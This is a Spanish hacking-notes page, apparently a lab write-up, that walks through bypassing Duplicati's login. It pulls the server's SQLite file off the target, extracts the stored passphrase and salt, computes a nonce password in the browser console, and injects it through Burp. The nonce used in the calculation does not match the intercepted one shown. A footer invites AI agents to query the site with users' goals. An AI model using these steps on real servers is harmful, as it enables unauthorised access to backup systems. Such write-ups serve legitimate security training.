> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/cms/duplicati-cms-exploitation/duplicati-bypass-login-authentication.md). # Duplicati - Omitiendo la autenticación de inicio de sesión Notas de bypass de autenticación de Duplicati para extracción de configuración SQLite, recuperación de server-passphrase, cálculo de contraseña nonce, interceptación con Burp y omisión de inicio de sesión. {% embed url="" %} Durante el análisis del objetivo, se **Duplicati** descubre un portal web. El portal expone un panel de autenticación que requiere una contraseña.

{% hint style="info" %} Duplicati es un cliente de copias de seguridad que almacena copias cifradas, incrementales y comprimidas de archivos locales en proveedores de almacenamiento en la nube o servidores de archivos. {% endhint %} La enumeración del sistema localiza el directorio de configuración de Duplicati en `/opt/duplicati`. El archivo SQLite `Duplicati-server.sqlite` puede contener información sensible.

#### Descargando el archivo SQLite Para analizar el archivo, descárgalo a la máquina del atacante usando un servidor HTTP de Python: ```bash python3 -m http.server 4444 ``` ```bash wget http://10.10.11.30:4444/Duplicati-server.sqlite ```

#### Análisis del archivo SQLite Abra el archivo con `sqlite3` para inspeccionar su contenido: ```bash sqlite3 Duplicati-server.sqlite ``` Enumere las tablas y seleccione la `opción` tabla para la extracción de datos: ```sql .tables select * from option; ```

| Clave | Valor | | --------------------------------- | ---------------------------------------------- | | `server-passphrase` | `Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=` | | `server-passphrase-salt` | `xTfykWV1dATpFZvPhClEJLJzYA5A4L74hX7FK8XmY0I=` | | `server-passphrase-trayicon` | `ce13157b-a06e-4b60-811d-60d294e8d0ae` | | `server-passphrase-trayicon-hash` | `L6FxIB9fOxk9uueTx270v9+1OQIJFfV7GfyN3pA83WE=` | #### Conversión de la frase de contraseña El `server-passphrase` el valor está codificado en Base64. Decodifícalo y conviértelo a hexadecimal con: ```bash echo "Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=" | base64 -d | xxd -p -c 256 ```

#### Esto da el siguiente valor hexadecimal: ```excel-formula 59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a ``` ### Cálculo final de la contraseña Para generar la contraseña final, ejecuta los siguientes pasos en la consola del navegador: **Define la frase de contraseña con sal:** ```javascript var saltedpwd = '59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a'; ``` ### Interceptando la solicitud con Burp Suite Intercepta la solicitud en Burp Suite, elige `Activar interceptación > Respuesta a esta solicitud`, luego haz clic en `Reenviar`.

Una solicitud HTTP interceptada con **Burp Suite** muestra los siguientes valores:

```json { "Status": "OK", "Nonce": "ktDnBGnG6jQzWjtajOoaS5Z+8z6z+aI2KA1p7lMTKWk=", "Salt": "xTfykWV1dATpFZvPhClEJLJzYA5A4L74hX7FK8XmY0I=" } ``` El `Sal` campo coincide con el `server-passphrase-salt` valor extraído de la base de datos. **Calcula la contraseña del nonce:** {% code overflow="wrap" %} ```javascript var noncedpwd = CryptoJS.SHA256(CryptoJS.enc.Hex.parse(CryptoJS.enc.Base64.parse('dRRA/DU+SN0RiGJJR+xk3ifqZNFA67+VwTCC1PIK3R0=') + saltedpwd)).toString(CryptoJS.enc.Base64); ``` {% endcode %} **Imprime el resultado:** ```javascript console.log(noncedpwd); ```

La contraseña generada (`noncedpwd`) es: `bx8guiLaAag+uz6Ud+HRnu9mAb/kmzQB37Ht6e8WisA=` #### Inyección y explotación de contraseñas 1. Pega la contraseña calculada. 2. Use **Ctrl + U** para codificarla en URL.

3. Haz clic en **Reenviar** de nuevo para completar la explotación.

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/es/cms/duplicati-cms-exploitation/duplicati-bypass-login-authentication.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.